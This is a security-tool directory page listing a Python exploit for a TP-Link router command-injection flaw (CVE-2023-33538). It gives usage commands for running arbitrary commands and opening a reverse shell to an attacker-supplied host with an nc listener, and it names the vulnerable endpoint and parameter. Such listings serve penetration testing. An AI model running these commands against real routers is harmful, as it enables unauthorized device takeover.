Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-33538 — Python Exploit for TP-Link TL-WR940N/TL-WR841N Command Injection Vulnerability | Kitploit
Tools/GitHubGitHub/explxx/cve-2023-33538
IoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationWireless SecurityPenetration TestingCommand and ControlLearning & Education
GitHubexplxx/cve-2023-33538

CVE-2023-33538

Python Exploit for TP-Link TL-WR940N/TL-WR841N Command Injection Vulnerability

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Python Exploit for TP-Link TL-WR940N/TL-WR841N Command Injection Vulnerability

Usage Instructions

  1. Basic Vulnerability Check:

    root@kitploit:~
    python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
    
  2. Execute Custom Command:

    root@kitploit:~
    python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
    
  3. Reverse Shell (set up listener first with nc -lvnp 4444):

    root@kitploit:~
    python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
    

Important Notes:

  • These scripts are for educational and testing purposes only
  • Always get proper authorization before testing any system
  • The reboot command is used as default because it's non-destructive and easily verifiable
  • The reverse shell may not work on all firmware versions as it depends on available binaries
  • Some firmware versions require a random path in the URL which the script attempts to detect automatically

The vulnerability exists due to improper input sanitization in the ssid1 parameter of the /userRpm/WlanNetworkRpm.htm endpoint, allowing command injection through specially crafted requests.

Download Tool